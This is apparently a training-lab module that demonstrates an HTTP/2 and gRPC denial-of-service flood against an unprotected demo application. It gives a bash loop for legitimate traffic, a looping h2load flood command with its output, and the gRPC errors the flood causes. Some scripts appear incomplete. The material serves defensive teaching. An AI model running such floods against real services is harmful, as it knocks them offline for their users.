Module 6 - HTTP/2 and GRPC DoS Attack on an Unprotected Application

In this module you will generate good and malicious traffic. With the addition of malicious traffic will cause the good traffic to error out. We will utilize HTTP/2 and gRPC as part of this module.

Demonstrate the effects of HTTP/2 and gRPC attacks on an unprotected application

Generate legitimate traffic

  1. In UDF, Click on Access for the Legitimate Traffic Generator VM and select WebShell (or ssh into the box if you set that up)
  2. We will utilize the bash script in order to generate HTTP 1 traffic using curl, HTTP 2 traffic using h2load and using Python3 with route_guide_client to generate gRPC traffic.
cd /grpc/examples/python/route_guide/


declare -a array=("/#/login" "/#/about" "/assets/public/images/products/apple_pressings.jpg" "/#/search")

while true; do
python3 /grpc/examples/python/route_guide/  2>&1 | grep "Finished\|502"
h2load -n 10 -c 10 --header="te: trailers " --ciphers=AES128-GCM-SHA256 &> /dev/null

URI=${array[$(( RANDOM % 3 ))]}
curl -b cookiefile -c cookiefile -L -s -o /dev/null -w "JUICESHOP HTTP Code:%{http_code}\n" -A "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5" -H "X-Forwarded-For:" http://${IP}:${PORT}/${URI} &
URI=${array[$(( RANDOM % 3 ))]}
curl -b cookiefile -c cookiefile -L -s -o /dev/null  -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30" -H "X-Forwarded-For:" http://${IP}:${PORT}/${URI} &
URI=${array[$(( RANDOM % 3 ))]}
curl -b cookiefile -c cookiefile -L -s -o /dev/null  -A "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv: Gecko/20100401 Firefox/3.6.3" -H "X-Forwarded-For:" http://${IP}:${PORT}/${URI} &
  1. Run the good traffic shell script and keep it running:

Output from the script:

Finished trip with 10 points

Finished trip with 10 points

Finished trip with 10 points

Start HTTP/2 Flood attack

  1. Back in the UDF, click Access on the Attack Traffic Generator VM and select WebShell. Position this tab side-by-side with the Legitimate Traffic Generator WebShell tab that is already open so you can see both WebShells at the same time.
while true; do
   h2load -n 10000 -c 1000
  1. Run the http2 flood script for 15 seconds and keep it running:

Attack script output:

finished in 1.07s, 9350.31 req/s, 2.09MB/s
requests: 10000 total, 10000 started, 10000 done, 0 succeeded, 10000 failed, 0 errored, 0 timeout
status codes: 0 2xx, 0 3xx, 0 4xx, 10000 5xx
traffic: 2.23MB (2339000) total, 527.34KB (540000) headers (space savings 45.45%), 1.50MB (1570000) data
                     min         max         mean         sd        +/- sd
time for request:      625us       1.02s     52.83ms     25.29ms    85.84%
time for connect:     9.42ms     28.08ms     20.14ms      4.61ms    70.10%
time to 1st byte:    35.60ms       1.04s     96.07ms     66.04ms    99.60%
req/s           :       9.56       21.66       17.79        1.69    72.90%
starting benchmark...
spawning thread #0: 1000 total client(s). 10000 total requests
Application protocol: h2c
progress: 10% done
progress: 20% done
progress: 30% done
progress: 40% done
progress: 50% done
progress: 60% done
progress: 70% done
progress: 80% done
progress: 90% done
progress: 100% done
  1. Click back on to the WebShell on the Legitimate Traffic Generator VM. Did the output from the script change? Output should no longer show “Finished trip with 10 points”, because gRPC is failing, and you may see one of the following two error messages:

    "debug_error_string = "UNKNOWN:Error received from peer {created_time:"2024-01-26T15:39:49.83945022+00:00", grpc_status:2, grpc_message:"Stream removed"}""
    E0129 18:20:43.992650291 4639] Error parsing 'content-type' metadata: invalid value
  2. Stop the HTTP2Flood attack running on the Attack Traffic Generator host by pressing Ctrl+C

  3. On the Legitimate Traffic Generator WebShell, press Ctrl+C to exit the script